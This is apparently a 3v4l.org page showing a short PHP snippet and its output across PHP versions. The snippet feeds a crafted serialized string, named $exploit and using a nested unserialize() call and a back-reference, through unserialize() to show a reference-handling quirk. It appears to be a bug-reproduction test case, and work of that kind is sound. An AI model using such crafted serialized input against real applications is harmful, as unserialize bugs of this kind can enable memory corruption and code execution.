3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php class obj implements Serializable { private $data; public function serialize() { } public function unserialize($data) { $this->data = unserialize($data); //$this->data = 1; } } $inner = 'a:0:{}'; $exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}'; $data = unserialize($exploit); var_dump($data);
based on GcebX
Output for 7.0.20 - 7.2.0
array(2) { [0]=> object(obj)#1 (1) { ["data":"obj":private]=> array(0) { } } [1]=> array(0) { } }
Output for 7.0.0 - 7.0.6
array(2) { [0]=> object(obj)#1 (1) { ["data":"obj":private]=> array(0) { } } [1]=> &array(0) { } }
Output for 5.4.0 - 5.6.28
array(2) { [0]=> object(obj)#1 (1) { ["data":"obj":private]=> &array(0) { } } [1]=> &array(0) { } }
Output for 5.3.19 - 5.3.29
Notice: unserialize(): Error at offset 37 of 38 bytes in /in/KWGPL on line 20 bool(false)